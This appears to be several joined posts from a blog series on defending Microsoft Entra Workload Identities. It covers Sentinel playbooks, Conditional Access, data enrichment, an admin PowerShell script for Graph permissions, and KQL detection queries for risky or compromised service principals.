This blog post is part of a series about Microsoft Entra Workload ID:
Microsoft has been released playbooks for security incident scenarios of Compromised and malicious applications investigation but also for App consent grant investigation.
In case of a true positive alert, the workload identity should be blocked for further malicious activity. In general, there are two different options to stop further sign-in activity by using Portal UI or Microsoft Graph API:
Both events are also supported revocation events for Continuous access evaluation for workload identities (CAE). This allows to revoke existing access tokens if the application/workload and resource provider a, ,re supporting CAE. Otherwise, the access token is still valid and further granted access will be valid until the token expires.
Side Note: CAE does not support Managed Identities and also the support for resource providers are limited (e.g., Microsoft Graph).
Let’s have a closer look t how we can trigger a playbook from an incident successfully.
First, we need to make sure that the ObjectId
of the Service Principal is available by using the trigger of Microsoft Sentinel Incidents. Both Graph API calls (Disable and confirm compromise) require the ServicePrincipalObjectId
for the request. We have already defined and considered to establishing a clean entity mapping in the various Analytics Rules which we configured in the previous parts of the blog post. However, Microsoft Sentinel offers only an entity mapping to the AppId
of in the incident.
Unfortunately, the Application Id was also not available in the Outputs of the Incident Playbook Trigger during my tests:
Therefore, I’ve decided to implement the following logic to get the custom alert details from each alert after the Sentinel Incident has been triggered. We have used this option before to enrich the alert with details from the WorkloadIdentityInfo
.
Next, the ServicePrincipalId
from the “Custom Alert Details” will check whether the value is not empty. Additional “Custom Alert” fields can be also used in the condition, for example if the enriched information shows the application for PrivilegedAccess
or as IsFirstPartyApp
. This allows you to run the playbook on a particular scope only.
Afterwards the Graph API call will execute to mark the Workload Identity as compromised. The HTTP action will be used with the associated (system-assigned) Managed Identity and the required permissions (IdentityRiskyServicePrincipal.ReadWrite.All
). The sign-in will be blocked if a corresponding Conditional Access policy for Workload Identity has been configured.
Finally, a comment will be added to the Incident if the workload identity has been marked as compromised. This requires that the Logic App has permission to the Azure RBAC role “Microsoft Sentinel Responder” or least privileges on the specific role action to write incident comments (Microsoft.SecurityInsights/incidents/).
The ARM deployment file of the Logic App can be found here:
Confirm-RiskyEntraWorkloadId_Deploy.json
Keep in mind, this is just an example without any warranty. Additional enhancements are needed to run this in production, such as error handling if Graph API isn’t successful or invalid ServicePrincipalObjectId
in Custom Details
Recommended to read: Derk van der Woude has written a great blog post how to send a alert e-mail notification to the app owner when a risky workload has been detected. This is a very interesting scenario if you want to integrate a notification option in the playbook.
A similar playbook can be also created to execute the following Graph API call to disable the workload identity.
But this Graph API call requires to assign Application.ReadWrite.All
application permissions to the Managed Identity of the playbook which is a highly sensitive permissions (includes credential management for every workload identity). Therefore, I’ve created a custom directory role which includes the required action microsoft.directory/servicePrincipals/disable
, alongside of some read permissions on Application and Service Principal object. This custom role “Workload Identity Security Responder” can be also granted to particular service principals instead of assigning to directory-level.
Don’t forget to create also playbook if the service principal should be re-enabled as result after the security issue has been mitigated.
The playbook to disable a service principal can be deployed by using this ARM Template:
Disable-EntraWorkloadId_Deploy.json
Customers with Workload Identity Premium licenses can use Conditional Access for Single-Tenant Service Principals. Blocking access for risky service principals is one of the supported conditions and controls. I have used “Custom Security Attributes” to add the defined classification of privileged access and associated service (CMDB connection) on the Enterprise Application object.
Using those attributes has several advantages (in my opinion):
In this example, I’ve created a policy which should block access for every risky workload identity (on risk level “high”) with privileges on “ControlPlane” and that will be used for Entra ID automation.
There are also some other scenarios to use the attributes to include or exclude workload identities from automated response. For example, high-sensitive workloads which are covered by a policy to block any access “in the case of imminent danger”.
In the following tests, I’m using a sample from the “ms-identity-dotnetcore-daemon-graph-cae” repository on GitHub to run a simple daemon console application for requesting Graph queries. The sample application and the resource (Graph API) are supporting CAE.
This is also visible from the Sign-in logs of Entra ID but seems not included in the AADServicePrincipalSignInLogs
in Microsoft Sentinel.
The sample application uses a service principal which has been confirmed as compromised by the previously described Sentinel Playbook which raised the risk level to “high”. As we can see in the following AADRiskyServicePrincipals
logs, the risk has been set on 2:22 PM (UTC+1).
After a few minutes, the continuously running job (query and modifying role assignments) has been stopped even though the access token (acquired from MSAL cache) was not expired yet.
The related AADRiskyServicePrincipals
event entry shows that Conditional Access has blocked the access after re-evaluation of the policy (condition has changed from risk level none to high).
As already described, some of the features requires additional licenses. Below you’ll find a quick overview about Entra ID features which has been included in this article but also the previous part of the blog post series.
Feature | Free (Azure AD License) | Premium ($3/Month/Service Principal) |
---|---|---|
Authentication, Authorization, Sign-in and Audit Logs | Yes | Yes |
Conditional Access | No | Yes |
Access Reviews | No | Yes |
Identity Protection | No | Yes |
App Management Policies | No | Yes |
MDA App Governance | Add-on to MDA, free for E5 customers (starting June 1st, 2023) | Not Included |
Entra Permission Management | Standalone product, $125 per resource, per year | Not Included |
In my opinion, Workload Identities Premium offers some interesting features with Conditional Access and ID Protection. Investments in implementing analytics rules, creating playbooks and fine-tune Microsoft Defender XDR alerts are highly recommended and gives you a great opportunity to build advanced and enriched detections, in addition to Microsoft’s Threat Intelligence.
]]>In the first part of the blog post, I’ve already described “AzADServicePrincipalInsights” (AzADSPI) from Julian Hayward. The tool allows to collect richfull insights and tracking changes of Workload Identities and export them as JSON in a repository. But we can use also the data to ingest them to Microsoft Sentinel for enrichment. Therefore, I’ve created a pipeline which ingest the data to a Microsoft Sentinel Workspace by using PowerShell scripts.
[Update 2024-02-10]: Option to ingest data to Log Analytics has been integrated to AzADSPI. Julian has also improved my previous script logic and has become part of the solution. I’ve updated the instruction to use the original repository instead of my forked version.
Create an app registration and add the required permission as Application Permission and Azure RBAC assignment. You can also create a user-assigned managed identity but in that case the Graph API permissions needs to be configured by API or PowerShell.
CLIENT_ID
, TENANT_ID
and SUBSCRIPTION_ID
has been added as repository secret.Use the workflow template file “.github/workflows/AzADServicePrincipalInsights_OIDC.yml” and customize the parameters. It’s mandatory to change the ManagementGroupId
.
Next, we will create the required data collection endpoint in Azure Portal. Those single configuration steps are well documented in Microsoft Learn. Therefore I’ve added the links to the related articles in the headlines and added some notes and configuration parameters which are important to know.
Create data collection endpoint In my example, I’m using the same subscription as Microsoft Sentinel for creating a data collection endpoint and rule. Make sure that Data Collection Endpoint and Rule are created in the same but in a dedicated resource group.
Create new table in Log Analytics workspace
I’ve chosen the table name “AzADServicePrincipalInsights_CL” which will be used later in the parser and analytics rules:
SampleDataOnly
which allows you to get a JSON output. Export the content as file and use them as sample data.IngestToLogAnalytics
to true
and editing the following variables with the corresponding values of your environment:
ManagementGroupId
DataCollectionRuleSubscriptionId
DataCollectionRuleResourceGroup
DataCollectionRuleName
LogAnalyticsCustomLogTableName
(e.g., AzADServicePrincipalInsights_CL)ThrottleLimitMonitor
(default value can be keep as it is)
AzADServicePrincipalInsights_CL
).I’ve created a template for a KQL function with the name “AzADSPI” which will standardize the column names to my defined and preferred schema. This also supports me in sharing the same KQL query logic across other data sources that I’m using in my examples and detection queries. Follow the steps from Microsoft Learn article to create and use functions in Microsoft Sentinel.
Together with my colleague Fabian Bader, I have worked on an alternate way to publish enrichment data to Microsoft Sentinel. WatchLists are a great way to maintain a list of this kind of asset information which can be used in KQL queries within Microsoft Sentinel.
We have published a PowerShell module named “SentinelEnrichment” which automates the process to create and update the WatchList. This module can be executed in a GitHub action workflow, Automation Account, Azure Function or any other environment which supports PowerShell.
I’ve used some code from my EntraOps PoC project to gather various details about Workload Identities. The script can be found here and will provide the content for the WatchList which we like to upload in the following automation job. In this example, I will use an automation account for collecting the data and upload the WatchList to Sentinel.
Side Note: This solution offers a different set of information compared to the AzADSPI. Some details such as Azure RBAC assignments or Delegated API Permissions are not part of the WatchList. The size of a row is limited and therefore just a subset can be provided in a single WatchList.
Add the required Microsoft Graph API application permissions to the Managed Identity by using Microsoft Graph PowerShell or any other Graph Client. I’ve customized the published sample by Niklas Tinner which can be found here.
#Install required module
Install-Module Microsoft.Graph -Scope CurrentUser
#Connect to Graph
Connect-MgGraph -Scopes Application.Read.All, AppRoleAssignment.ReadWrite.All, RoleManagement.ReadWrite.Directory
#Insert Object ID of Managed Identity
$ManagedIdentityObjectId = Read-Host -Prompt "Enter Object Id of the System-assigned Managed Identity on the Azure Resource"
#Insert permissions of Graph
$AppRoles = @("Application.Read.All","Group.Read.All", "RoleManagement.Read.Directory")
#Find Graph permission
$MsGraph = Get-MgServicePrincipal -Filter "AppId eq '00000003-0000-0000-c000-000000000000'"
$Roles = $MsGraph.AppRoles | Where-Object {$_.Value -in $AppRoles}
#Assign permissions
foreach ($Role in $Roles) {
New-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $ManagedIdentityObjectId -PrincipalId $ManagedIdentityObjectId -ResourceId $MsGraph.Id -AppRoleId $Role.Id
}
Disconnect-MgGraph
Add the SentinelEnrichment PowerShell Module by using the import function from the PowerShell Gallery. Choose PowerShell 7.2 as runtime environment.
Verify that the module “SentinelEnrichment” has been successfully imported as module.
Add details about the Sentinel Workspace in the variables of the automation accounts. Create variables under the section “Shared Resources” with the following names and the related values:
Create a new runbook with runbook type “PowerShell” and Runtime version 7.2.
Copy the content of the script from my repository and past them into the runbook:
Check the results of the WorkloadIdentityInfo table after a successful execution of the runbook.
I’ve published a definition of the Enterprise Access Model to classify and identify resources in Microsoft Entra ID. This classification model is part of my PoC project “EntraOps” and shared as community-driven project. Julian Hayward has implemented the EntraOps classification to AzAdvertizer and will be also available out-of-the-box in a future release of AzADSPI.
The classification files can be also used in KQL for enrichment and allows to identify App Roles and Directory Role assignment in relation to the definition of “Control Plane” privileges. Therefore, I’ve created Microsoft Sentinel functions for AzADSPI and WorkloadIdentityInfo which allows to apply the classification (as external data from the JSON file on the GitHub project) by executing the KQL query.
🔗 Function “PrivilegedAzADSPI” for “AzADSPI” (Custom Table) AzureSentinel/Functions/AzADSPI_EnrichedByEntraOps.yaml at main · Cloud-Architekt/AzureSentinel (github.com) 🔗 Function “PrivilegedWorkloadIdentity” for “WorkloadIdentityInfo” (WatchList) AzureSentinel/Functions/PrivilegedIdentityInfo.yaml at main · Cloud-Architekt/AzureSentinel (github.com)
I’m planning to apply classification for all privileged users in Entra ID as part of the upcoming release of EntraOps which will cover all eligible, active and permanent members. In the meanwhile, I’m using the IdentityInfo
table to get a list of all active or permanent Entra ID role member of the last 14 days. As already described before, EntraOps classification can be used to apply a general classification by adding them to the KQL logic.
// List of (active/permanent) Directory role member with with enriched classification from EntraOps Privileged EAM
// by using IdentityInfo table from Microsoft Sentinel UEBA
let SensitiveEntraDirectoryRoles = externaldata(RoleName: string, RoleId: string, isPrivileged: bool, Classification: dynamic)["https://raw.githubusercontent.com/Cloud-Architekt/AzurePrivilegedIAM/main/Classification/Classification_EntraIdDirectoryRoles.json"] with(format='multijson')
| where Classification.EAMTierLevelName != "Unclassified"
| extend EAMTierLevelName = Classification.EAMTierLevelName
| project RoleName, isPrivileged, EAMTierLevelName;
let SensitiveUsers = IdentityInfo
| where TimeGenerated > ago(14d)
| summarize arg_max(TimeGenerated, *) by AccountObjectId
| mv-expand AssignedRoles
| extend RoleName = tostring(AssignedRoles)
| join kind=inner ( SensitiveEntraDirectoryRoles ) on RoleName;
SensitiveUsers
| project EAMTierLevelName, RoleName, AccountObjectId, AccountDisplayName, AccountUPN, IsAccountEnabled, UserType, SourceSystem
In addition, I’ve created just another function which allows you to get a combined list of all identities (human and workload identities) which are available from the IdentityInfo
and the custom solution WorkloadIdentityInfo
. This includes also the classification enrichment.
🔗 Function “UnifiedIdentityInfo” for WatchList “WorkloadIdentityInfo” and UEBA table “IdentityInfo” AzureSentinel/Functions/UnifiedIdentityInfo.yaml at main · Cloud-Architekt/AzureSentinel (github.com)
Sometimes it’s required to get a list of the recent added privileged assignments directly from the AuditLog
to cover also the latest assignments before the next automation schedule or trigger will update the Custom Table or WatchList. Therefore, I’ve created a function which shows all Microsoft Graph API and Entra ID role assignments of the latest 24 hours.
🔗 Function “RecentAddedPrivileges” to get latest MS Graph API and Entra ID role assignments from Audit Logs: AzureSentinel/Functions/RecentAddedPrivileges.yaml at main · Cloud-Architekt/AzureSentinel (github.com)
In the following section, I like to give some examples how alerts from Microsoft Security products can be enriched by the WorkloadIdentityInfo WatchList.
Leaked credentials of Workload Identity has been detected by Entra ID Protection. As already described in the previous part of the blog post series, the entity mapping is missing in Microsoft Sentinel. Therefore, I’ve written analytic rule which uses existing Alert (from the SecurityAlert
table entry) to enrich them with detailed information from the WorkloadIdentityInfo watchlist in combination with the function PrivilegedWorkloadIdentity
. This allows us to have an entity mapping to the Application object but also enriched information, including the Tiering Level of Privileged Access.
Below you’ll see the differences between the original incident on the left side and the enriched incident details (including privileged classification and entity details) from my custom analytics rules on the right side.
You will find the analytics rule templates on my repository: 🧪 Workload ID Protection Alerts with Enriched Information
Side Note: Using this custom analytic rule could lead to duplicated incidents and alerts if incident creation has been already enabled for the alerts. Avoid to use incident creation rules for this type of Identity Protection Alerts or use an automation rule to avoid duplicates.
MDA App Governance includes many built-in alert policies but also the option to configure customized patterns to detect suspicious activity. But similar to Entra ID Protection alerts for Workload Identities, the mapping to the entity and description details are also missing. Therefore, I’ve created an rule template to parse the ApplicationId
from the “AlertLink URL” and correlate them with the WorkloadIdentityInfo
for entity enrichment. In addition, the description details are not visible in the incident overview.
As you can see in the next sample, a high volume of e-mail search activities has been detected by using a privileged interface. Information about the Workload Identity from the WatchList and classification by using the PrivilegedWorkloadIdentityInfo
allows to add some related custom alert detail fields to the incident.
You will find the analytics rule templates on my repository: 🧪 Workload ID Protection Alerts with Enriched Information
Microsoft Defender XDR includes a few anomaly detection policies for OAuth apps (e.g., Unusual ISP for an OAuth App). We are using just another analytics rules to use the entry from the SecurityAlert
to create an enriched incident.
The previous named templates can be found here:
🧪 MDA Threat detection policy for OAuth Apps with Enriched Information
We have two interesting data sources which can be used for anomaly-based detection: Microsoft Defender XDR Behaviors can be used for checking unusual addition of credentials, as you can see in the following hunting query. Permissions will be enriched with the data from the classification model.
let SensitiveMsGraphPermissions = externaldata(EAMTierLevelName: string, Category: string, AppRoleDisplayName: string)["https://raw.githubusercontent.com/Cloud-Architekt/AzurePrivilegedIAM/main/Classification/Classification_AppRoles.json"] with(format='multijson');
BehaviorInfo
| where ActionType == "UnusualAdditionOfCredentialsToAnOauthApp"
| join BehaviorEntities on BehaviorId
| where EntityType == "OAuthApplication"
| extend Permissions = parse_json(AdditionalFields1).Permissions
| mv-expand Permissions
| extend Permission = tostring(Permissions.PermissionName)
| join kind=inner ( SensitiveMsGraphPermissions | project EnterpriseAccessModelTiering = EAMTierLevelName, EnterpriseAccessModelCategory = Category, AppRoleDisplayName ) on $left.Permission == $right.AppRoleDisplayName
| summarize ApplicationPermissions = make_list(Permission), EnterpriseAccessModelTiering = make_set(EnterpriseAccessModelTiering), EnterpriseAccessModelCategory = make_set(EnterpriseAccessModelCategory) by Timestamp, BehaviorId, ActionType, Description, Categories, AttackTechniques, ServiceSource, DetectionSource, DataSources, AccountUpn, Application, ApplicationId
The User Behavior Entity Analytics in Microsoft Sentinel includes also anomalies about “Application Management” activities from the user. This use case is not limited to a hunting query and would be also a potential anomaly-based detection. In this sample, we use the UEBA tables in combination with the IdentityInfo
to build an analytics rule in Microsoft Sentinel for create an incident with “Medium” severity under the following conditions
The incident will be increased to “High” severity if the Actor has been assigned to “Control Plane” Entra ID role in the past 14 days. All other results will be set to severity “Informational” and not included in the incident creation.
You can find the KQL logic which is also part of the analytic rule-version of this hunting query: 🧪 UEBA Behavior anomaly on Application Management
As already described, AzADSPI includes some advanced details of the Workload Identities objects (such as Application or Service Principal Owner). This data is now available in Sentinel by ingesting the data to the custom table. Therefore, we can use them in a hunting query to find risk events related to identities which has also ownership of Workload Identities.
The query is very simple and just correlates the ownership details from the custom table with the AADRiskEvents
table from Entra ID Protection:
let ServicePrincipalOwner = PrivilegedAzADSPI
| mv-expand parse_json(ServicePrincipalOwners)
| extend OwnerId = tostring(ServicePrincipalOwners.id)
| extend Ownership = "ServicePrincipalObject";
let ApplicationOwner = PrivilegedAzADSPI
| mv-expand parse_json(ApplicationOwners)
| extend OwnerId = tostring(ApplicationOwners.id)
| extend Ownership = "ApplicationObject";
AADUserRiskEvents
| where TimeGenerated >ago(365d)
| join kind=inner (
union ServicePrincipalOwner, ApplicationOwner
) on $left.UserId == $right.OwnerId
| project TimeGenerated, UserDisplayName, UserId, UserPrincipalName, RiskEventType, RiskDetail, RiskLevel, RiskState, WorkloadIdentityName, WorkloadIdentityType, Ownership
The result can be look like this one, attempt to get access to a Primary Refresh Token of a user has been detected which has access to a Workload Identity. Optionally, the classification of the affected workload identity could be also added.
KQL offers the option to create “cross-service queries” which give us the chance to get results from the Azure Resource Graph in combination with data in the Microsoft Sentinel Workspace. At time of writing the blog post, this is not supported for Analytics Rules. However, it can be used in hunting queries. In this sample, we will use this feature to get a list of all attack paths from “Microsoft Defender for Cloud” CSPM feature which includes a Workload Identity as entity. Afterwards we use the result to enrich them with data from the WorkloadIdentityInfo table.
arg("").securityresources
| where type == "microsoft.security/attackpaths"
| extend AttackPathDisplayName = tostring(properties["displayName"])
| mvexpand (properties.graphComponent.entities)
| extend Entity = parse_json(properties_graphComponent_entities)
| extend EntityType = (Entity.entityType)
| extend EntityName = (Entity.entityName)
| extend EntityResourceId = (Entity.entityIdentifiers.azureResourceId)
| where EntityType == "serviceprincipal" or EntityType == "managedidentity"
| project id, AttackPathDisplayName, tostring(EntityName), EntityType, Description = tostring(properties["description"]), RiskFactors = tostring(properties["riskFactors"]), MitreTtp = tostring(properties["mITRETacticsAndTechniques"]), AttackStory = tostring(properties["attackStory"]), RiskLevel = tostring(properties["riskLevel"]), Target = tostring(properties["target"])
| join hint.remote=right ( PrivilegedWorkloadIdentityInfo
) on $left.EntityName == $right.ServicePrincipalObjectId
In the result, we can see the details from the MDC Attack Path but also the assigned permissions and classification of the affected workload identity.
Side Note: You can also build own attack correlation with the data from AzADSPI. The ingested data includes the columns ManagedIdentityAssociatedAzureResources
and ManagedIdentityFederatedIdentityCredentials
which gives you the chance to correlate the Workload Identity to the assigned Azure or Federated Entity (such as GitHub or Kubernetes workload).
In general, assignment of owners to Application and Service Principals should be avoided. Microsoft offers already a rule template (“Add owner to application”) to cover this use case for Application object. But keep in mind, also an owner of service principal object is able to issue a valid credential to the workload identity.
I’ve created an analytics rule which will generate an incident with high severity if an ownership of Application or Service Principal has been assigned to a user which has lower privileges than the application. Not only the actor will be included in the incident, also the target principal is part of the entity mapping.
This rule template can be found here and can be used in combination with the WorkloadIdentityInfo:
🧪Added Ownership to workload identity (WorkloadIdentityInfo)
Issuing a credential by an owner is a sensitive management operation. Especially, if the owner has the chance use an impersonation of the workload identity for privilege escalation. In the next example, I’m using the classification of the workload but also actor to identify if the credential has been issued by a lower privileged user. This incident can be also correlate to a previous incident (“Added Ownership on privileged workload identity to lower-privileged user”) to understand the context of both security events as multi-stage attack.
You can find the analytic rule in my repository and should be deployed in combination with the previous rule template:
🧪 Added Credential to privileged workload by lower or non-privileged user
I’ve build and shared some hunting queries for correlation between a sign-in and activity event from the AzureActivity
and the new MicrosoftGraphActivityLogs
in October this year. This can be used as potential indicator for token replay in my opinion.
Replay of tokens from unsecured DevOps or other workload environments has been one of my live demos in previous community talks about workload identities. Correlation between IP address from sign-in and activity was of the few available options before (e.g., Azure Activity with Federated Credentials outside of GitHub Workflow activity). But now we can build additional queries to use the UniqueTokenIdentifier
to build a correlation between the acquired token from the sign-in process and the activity of the issued token.
Dynamic severity can be set on conditions if the IP address is suspicious or is coming from unfamiliar IP service tags/location. In this sample, the severity is increased to high if it’s outside of Azure.
The analytic rule logic is available for Azure Resource Manager and Microsoft Graph here:
🧪 Token Replay from workload identity with privileges in Microsoft Azure (WorkloadIdentityInfo).yaml
In the next part of the blog post series, we will go into details about incident response on Workload Identities and how Conditional Access can be used for automated response. So, stay tuned!
]]>There are a couple of ways a Workload ID can be used in attack paths. They have become popular for attackers because of weakness in security configuration and monitoring:
As we can see in the following example from “Solorigate” attacks, service principals have been used for (persistent) access to exfiltrate data from the Microsoft Graph API.
In the past, “Solorigate” was one of the known attack paths which used an existing privileged application to gain access to sensitive data. Image Source: Microsoft TechCommunity “Solarigate”’s Identity IoCs
Let us have a closer look into an attack path by abusing privileged Workload ID by compromised (lower privileged user) owner. In most scenarios, a valid and legitimate Workload ID has been taken over by an attacker. MITRE ATT&CK framework covers a few techniques which are in relation to this scenario.
Mail.Read.All
Graph API Permissions for Email Collection, Technique T1114 or using granted access to subscription for Crypto mining by Resource Hijacking - Technique T1496.There are also a couple of other attack scenarios in relation to application identities, for example create a malicious Workload ID by Illicit Consent Grant (User Execution, Technique T1204). More details can be found in the Azure AD Attack & Defense Playbook.
Several types of Workload Identities are available with different capabilities and support for security features, as already described in the first part of the blog post.
Below you will find a short comparison of the application and managed identity types.
Application Identity (with Key- or Certificate) | Application identity (with Federated Credentials) | Managed Identity for Azure Resources | |
---|---|---|---|
Security Boundary | Single- or multi-tenant | Single- or multi-tenant | Single-tenant* |
Delegated Management | Application/Enterprise App Owner, Enterprise App Owner, Entra ID role | Application/Enterprise App Owner, Enterprise App Owner, Entra ID role | Entra ID role on Directory or Object-level Azure RBAC Role/Resource Owner |
Security Dependencies | Secure storing of credentials, Protection of App Reg/Service Principal object | Security of Federated Workload/IdP, Protection of App Reg/SP object | Security and restricted management of Azure Resource(s) and SP object |
Restrict token acquisition | Conditional Access (Single Tenant only) | Conditional Access (Single Tenant only) | Not Available |
Detection for Identity Attacks | Identity Protection, Sign-in logs | Identity Protection, Correlation between Entra ID and Trusted IdP AuthN/AuthZ logs | Limited Sign-in logs |
Response time to invalid issued token | 1h (Default), Few minutes when CAE is supported | 1h (Default), Few minutes when CAE is supported | 24h (by design), No support for CAE |
*Assigned permissions to other tenants via Microsoft Lighthouse delegation
Human identities (user accounts) with assignment to Entra ID roles or role-assignable groups are particular protected by Microsoft Entra. This is not the case for Service Principals. Furthermore, Restricted Management AUs cannot be used to prevent administrative access from directory-level roles in Entra ID. It’s important to keep in mind!
There are a couple of general approaches which can be used as signal to detect suspicious sign-in or access for identities in Microsoft Entra. Let us have a look on some examples and try to map and evaluate them to the scenarios of Workload Identities
All the previously named signals can be involved to build anomaly detection model and behavior analytics for non-human identities. In the next section, we will go through various data sources and features which can be used to implement detections.
In the past, threat detection alerts for various OAuth app activities have been generated byMicrosoft Defender for Cloud Apps (MDA). Microsoft has decided to move some of the alerts with a high false positive rate to the new category of behaviors events.
To enhance the quality of alerts generated by Defender for Cloud Apps, and lower the number of false positives, Defender for Cloud Apps is currently transitioning security content from alerts to behaviors.
More details about Defender for Cloud Apps’ transition from alerts to behaviors can be found at Microsoft Learn.
Some of the anomaly detections has been disabled as alert, as we can see in the “policies” in the Microsoft 365 Defender portal.
Nevertheless, some detections (such as “Unusual ISP for an OAuth App”) are still available as enabled “Threat detection” policy and should be considered (in my opinion) for your ITDR implementation. In this example, I have replayed a token from an Azure Managed Identity which leads to the following (true-positive) alert.
Usage Pattern of access from Workload ID (in this case a Managed Identity) was involved in this alert to identify a potential compromise. An incident in Microsoft Sentinel will be generated when using the Microsoft 365 Defender Data Connector.
The shown incident is available in Microsoft Sentinel and displays related IP address but not the impacted Service Principal as Entity. Similar incidents from other data sources works (based on IP address entity) and allows to show context to other detections in Microsoft Defender for Cloud (”MicroBurst exploration toolkit used”) but also similar alerts from Microsoft Sentinel Analytics Rules.
The required information for entity mapping to the OAuth application is included in the SecurityAlert
entry and could be used for building an own mapping by implementing an Analytic Rule in Microsoft Sentinel.
Details of the Service Principal (oauth-application) are included in the entities even if they are considered by Microsoft Sentinel for entity mapping.
Some other detections has been moved to Behaviors (e.g., “Unusual addition of credentials to an OAuth app”) and are documented in the associated Microsoft Learn article.
Advanced hunting allows us to get details of the behavior detections (from the table BehaviorInfo
) including enriched information from “App Governance” about the Entra ID application (formerly known as OAuth app inventory in MDA). This includes also to getting a list of all delegated or application permissions.
BehaviorInfo
| where ActionType == "UnusualAdditionOfCredentialsToAnOauthApp"
| join BehaviorEntities on BehaviorId
| where EntityType == "OAuthApplication"
| extend Permissions = parse_json(AdditionalFields1).Permissions
A custom detection can be created (by using the button named “Create detection rule”) right from the “Advanced hunting” page. This allows us to create an incident when a behavior-based detection is available. OAuth apps are not listed as “Impacted entities” and the behaviors table cannot be used in Microsoft Sentinel (Microsoft 365 Defender Data Connector is not covering this table). Nevertheless, custom detection seems is able to add the Entities to the incident.
App Governance offers various threat detection alerts for Service Principals. The add-on feature for Microsoft Defender for Cloud Apps (MDA) is available without any additional costs for every customer with a valid license. Details about the licensing are described in the Microsoft Learn article about App Governance Licensing.
A list of the built-in threat detections including severity, description, TTP mapping and recommended detections are available in the investigation guide for App Governance.
In addition, templates but also custom policies can be configured to create alerts based on self-defined conditions and scopes. For example, detections for increased data usage for application without verified (ISV) publisher.
Alert will be generated with the evidence of the related OAuth application in Microsoft 365 Defender.
The alert will be forwarded to Microsoft Sentinel as incident (via M365D connector).
Unfortunately, the entity mapping to the OAuth application is not included. Furthermore, there is no single value in the SecurityAlert
event which can be used to build a correlation and mapping to the application. However, the description includes the OAuthAppId
as part of the deep link to the OAuth app summary page in M365D Portal.
The following KQL query shows how we could extract the OAuthAppId
from the URL:
SecurityAlert
| where ProductName == "Microsoft Application Protection"
| extend CloudAppUrl = parse_url(Description)
| extend CloudAppUrlParam = parse_json(tostring(CloudAppUrl.["Query Parameters"])).oauthAppId
| extend AppId = tostring(toguid(CloudAppUrlParam))
| extend Category = tostring(parse_json(ExtendedProperties).Category)
| extend AlertDisplayName = tostring(DisplayName)
| distinct TimeGenerated, AppId, AlertSeverity, AlertDisplayName, Category
| project
TimeGenerated,
AppId,
AlertSeverity,
AlertDisplayName,
Category
The result of the query is a list of all App Governance Alerts and the related App Id
This query can be used to implement a analytics rule to create incidents in Microsoft Sentinel with the mapping of the AppId to the entity type “Cloud Application”:
Microsoft has introduced “Identity Protection for Workload Identities” as part of Microsoft Entra Workload ID Premium. This offers a couple of Risk detection which will be considered to calculate the sign-in and risk of workload identities. One of my favorite capabilities are the behavior-based detections for “Suspicious sign-ins” and “Anomalous service principal activity”.
The risk detections and details are available from the Entra ID Protection blade.
Alerts are also visible in the Microsoft 365 Defender portal but without any assets or evidence details.
Incidents will be created also in Microsoft Sentinel but without any mapping to the “Cloud Application” entity type. Side note: A few alerts will be only forwarded when “All alerts” are configured (instead of “High-impact alerts only”) which needs to be configured in the Alert service settings.
Details about the related Service Principal to the risk detection are available in the SecurityAlert
event entry, as we can see in the following screenshot:
This allows the correlation to other alerts based on the AppId
. For example, enrichment of Risk Detections with App Governance alerts of an application.
AADServicePrincipalRiskEvents
| join kind=innerunique (SecurityAlert
| where ProductName == "Microsoft Application Protection"
| extend CloudAppUrl = parse_url(Description)
| extend CloudAppUrlParam = parse_json(tostring(CloudAppUrl.["Query Parameters"])).oauthAppId
| extend AppId = tostring(toguid(CloudAppUrlParam))
| extend Category = tostring(parse_json(ExtendedProperties).Category)
| extend AlertDisplayName = tostring(DisplayName)
| distinct AppId, AlertSeverity, AlertDisplayName, Category)
on $left.AppId == $right.AppId
| project AppId, ServicePrincipalId, ServicePrincipalDisplayName, RiskLevel, AlertSeverity, AlertDisplayName, Category
This query can be used to build an analytic rule with mapping to the “Cloud Application” entity type.
Incident entity mapping by using AppId
for “Cloud Application” entity type.
Analytic Rule Templates
Microsoft has released a security operations guide for Microsoft Entra which also covers recommendations for applications. This includes what type of activities and events should be monitored and where to find them. Rule templates for Microsoft Sentinel are available for the most named detection use cases and can be found as a link in the document. Nevertheless, you should verify the logic behind the queries and consider customizing them to your environment and requirements. Enrichment can help to reduce noise or implement dynamic severity of incidents based on environment-specific conditions. In the next part of this blog post series, we will have a look on the use case “Changes to application ownership” in combination with enrichment of the included entities.
Content Hub Solution “Azure Active Directory” offers many rule templates for Application security monitoring. Keep an eye on the entity mapping of analytics rules. They should include the entity type “Application” for building correlation to other incidents. As we can see in the “Similar incidents” area of the incident page, correlation to other incidents will be established and increased visibility for multi-stage attacks.
Anomalies and Behavior Analytics
User Entity Behavior Analytics (UEBA) is analyzing the behavior of users over a period of time and constructing a baseline of legitimate activity. This feature is integrated to Microsoft Sentinel and can be easily enabled. The BehaviorAnalytics
can be used for customized or advanced anomaly detections of Application Management.
The following KQL query can be used to get all Audit events in the category “Application Management” with Insights from UEBA:
BehaviorAnalytics
| where ActivityType == "ApplicationManagement"
// Optional: Filter events with Investigation Priority Score
//| where InvestigationPriority != 0
| project TimeGenerated, ActivityType, ActionType, ActivityInsights, UserPrincipalName, SourceIPAddress, SourceIPLocation, InvestigationPriority
UEBA includes an Investigation Priority Score and insights about the activity. In this case, it is a first-time operation from this user’s location.
The Anomalies
table allows us to get specific anomaly detection with details about the activity:
Anomalies
| where RuleId == "a255ca7d-ea19-4b7b-8d88-a51ce1c72c29"
| project AnomalyTemplateName, RuleName, Description, Tactics, Techniques, AnomalyDetails, AnomalyReasons
Detailed anomaly insights of a user who performed an app role assignment for the very first time.
Detecting multi attack activities by Microsoft Sentinel Fusion
Microsoft Sentinel Fusion is also correlating suspicious sign-in events (detected by Entra ID protection) which leads to rare application consent (detected by the associated scheduled analytics rules). A multi-stage attack incident will also be created if entities mapped in combination of this kind of anomalies.
Various incidents from analytics rules with entity mapping of the same IP address and user names matches with an anomaly detection of Azure operations
In the next part of this blog post series, we will go into details how we can improve the entity mapping and context of the incidents in Microsoft Sentinel by using enrichment and custom analytics rules. This includes also how to identify high-privileged workload identities and many examples for attack scenarios and related detection capabilities.
]]>I would recommend having a initial review for full visibility and insights of the service principals which has been already created, especially in an environment without an establish lifecycle workflow or governance framework.
Julian Hayward has published an awesome tool with the name “AzADServicePrincipalInsights” (AzADSPI) which allows you to create a report across all types of workload identities. This can be also used for regular reviews and integrated to your monitoring and review process.
The report covers analysis about owner, credentials, app and directory role assignments of Application and Service Principal objects (all different types).
AzADSPI provides a comprehensive report of application and service principal objects in your Entra ID environment
There are many questions you should try to answer by analyzing the report, for example:
